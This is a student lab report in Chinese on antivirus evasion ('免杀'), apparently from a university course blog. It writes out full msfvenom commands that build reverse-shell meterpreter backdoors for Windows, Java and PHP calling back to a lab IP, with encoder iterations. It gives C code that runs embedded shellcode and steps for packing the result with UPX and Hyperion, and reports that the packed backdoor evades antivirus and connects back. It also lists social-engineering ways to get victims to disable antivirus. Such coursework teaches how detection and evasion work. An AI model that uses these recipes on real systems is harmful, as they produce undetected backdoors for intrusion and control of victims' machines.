2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

  • 实验内容

    • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

      • 使用msf编码器生成各种后门程序及检测
      • 使用veil-evasion生成后门程序及检测
    • 任务二:通过组合应用各种技术实现恶意代码免杀
    • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 基础问题回答

    • (1)杀软是如何检测出恶意代码的?

      检测代码是否含有特征码;检测代码的行为是不是和恶意代码相同;启发式恶意代码检测。
    • (2)免杀是做什么?

      防止恶意代码被安全软件检测、识别。
    • (3)免杀的基本方法有哪些?
      • 改变特征码

        - 只有EXE——加壳(压缩壳 加密壳)

        - 有shellcode——利用encode进行编码

        - 有源代码——用其他语言进行重写再编译

      • 改变行为

        • 通讯方式

          • 尽量使用反弹式连接
          • 使用隧道技
          • 加密通讯数据
      • 操作模式

        - 基于内存操作

        - 减少对系统的修改

        - 加入混淆作用的正常功能代码

      • 非常规方法

        - 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

        - 使用社工类攻击,诱骗目标关闭AV软件。

        - 纯手工打造一个恶意软件

  • 实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 用VirusTotal扫描后结果如下

  • 用Virscan网站的扫描结果如下

不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor.exe

  • 扫描结果

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor10.exe

  • 扫描结果

由此可见,多次编码对免杀没有太大的效果

msfvenom生成jar文件

  • 生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> ctf_backdoor_java.jar

  • 扫描结果

msfvenom生成php文件

  • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> 20165301_backdoor.php
  • 扫描结果

使用veil-evasion生成后门程序及检测

  • 安装veil
  • mkdir -p ~/.cache/wine
  • cd ~/.cache/wine
  • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
  • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion

半手工注入Shellcode并执行

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 -f c用c语言生成一段shellcode

  • 创建一个文件20165301.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}

  • 使用命令i686-w64-mingw32-g++ 20165301.c -o 20165301.exe编译这个.c文件为可执行文件.exe

  • 检测结果

加壳

在技术上分壳分为:

  • 压缩壳

    • 减少应用体积,如ASPack,UPX
  • 加密壳

    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机

    • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
  • 使用压缩壳(UPX)

    • 给20165301.exe加个壳

    • 查看连接情况,可以反弹连接

    • 检测结果

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v ctf.exe ctf_upxed_Hyperion.exe进行加壳

生成新的可执行文件

反弹连接

检测结果

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
  • 任务成功截图:





  • 实验遇到的问题

    veil安装过程遇到很大困难,有时候生成的壳无法打开。经过反复尝试,最终解决。

2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 怎么判断pagecontrol下的TabSheet是否打开还是关闭求答案

    if pagecontrol.activepage=TabSheet1 then是在当前显示页------解决方案------------------------------------------- ...

  2. 题解 P1130 【红牌】

    逆推dp经典题目:数字三角形的折叠版 为什么这么说? 因为我们会发现:除了每一次都特判一下是否转换行号以外,剩下的思想没什么不同. 没看题目的看这里 先定义: n,m是步骤数目,小组数目 work[i ...

  3. MT【197】存在$a,b$对于任意的$x$

    已知$f(x)=ax^2+bx-\dfrac{1}{4}$,若存在$a,b\in R$,使得对于任意的$x\in[0,7],|f(x)|\le2$恒成立,求$|a|$的最大值____ 提示:$|ax^ ...

  4. 【刷题】BZOJ 1823 [JSOI2010]满汉全席

    Description 满汉全席是中国最丰盛的宴客菜肴,有许多种不同的材料透过满族或是汉族的料理方式,呈现在數量繁多的菜色之中.由于菜色众多而繁杂,只有极少數博学多闻技艺高超的厨师能够做出满汉全席,而 ...

  5. BZOJ 4540 [Hnoi2016]序列 | 莫队 详细题解

    传送门 BZOJ 4540 题解 --怎么说呢--本来想写线段树+矩阵乘法的-- --但是嘛--yali的机房太热了--困--写不出来-- 于是弃疗,写起了莫队.(但是我连莫队都想不出来!) 首先用单 ...

  6. luogu3778/bzoj4898 商旅 (floyd+分数规划+spfa)

    首先floyd求出来每两点间的最短距离,然后再求出来从某点买再到某点卖的最大收益 问题就变成了找到一个和的比值最大的环 所以做分数规划,二分出来那个答案r,把边权变成w[i]-r*l[i],再做spf ...

  7. 螺旋队列和hiho1525逃离迷宫3

    我是真调不出错误了! hiho1525逃离迷宫3 #include <stdio.h> #include <stdlib.h> #include <math.h> ...

  8. 借读:分布式锁和双写Redis

      本帖最后由 howtodown 于 2016-10-3 16:01 编辑问题导读1.为什么会产生分布式锁?2.使用分布式锁的方法有哪些?3.本文创造的分布式锁的双写Redis框架都包含哪些内容? ...

  9. 百度钱包、百付宝、baifubao接入支付的常见问题

    [5004:参数非法,请检查输入参数后重试.]:检查是否缺少了其它必要的参数,我当时是缺少了order_no [5804,抱歉,订单创建失败,请联系客服处理]:即验证签名失败,这个只能参考文档进行处理 ...

  10. 【学习笔记】AspectJ笔记

    AspectJ的概念 是一种静态编译期增强性AOP的实现 在编译过程中修改代码加入相关逻辑,无需程序员动手 AspectJ具体用法 下载安装AspectJ,启动jar文件,安装到JDK目录,添加pat ...